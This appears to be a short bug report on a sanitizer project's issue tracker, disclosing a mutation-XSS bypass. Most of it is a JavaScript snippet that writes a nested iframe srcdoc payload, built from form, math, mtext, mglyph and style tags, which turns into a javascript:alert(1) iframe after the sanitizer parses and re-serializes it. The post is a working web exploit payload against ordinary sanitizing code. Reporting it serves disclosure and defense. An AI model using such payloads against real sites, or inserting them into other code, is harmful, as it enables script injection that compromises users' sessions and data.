Bypass using mXSS #91
Description
var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `<iframe
srcdoc="<form><math><mtext></form><form><mglyph><style></math><iframe src="javascript:alert(1)"></iframe>"
</iframe>`;
Shamelessly stolen from here, I knew something like that would work when I saw this code path (parse, serialize, parse) :)